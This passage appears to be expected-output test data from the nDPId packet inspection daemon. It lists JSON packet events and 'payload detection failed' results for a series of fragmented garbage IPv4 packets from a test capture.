+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828217,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828227,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828235,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828246,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828270,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828282,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828317,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828355,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828367,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828394,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828406,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828418,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828463,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828487,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828506,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828521,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828543,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828553,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828560,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828568,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828582,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828601,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828616,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828624,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828631,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828639,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 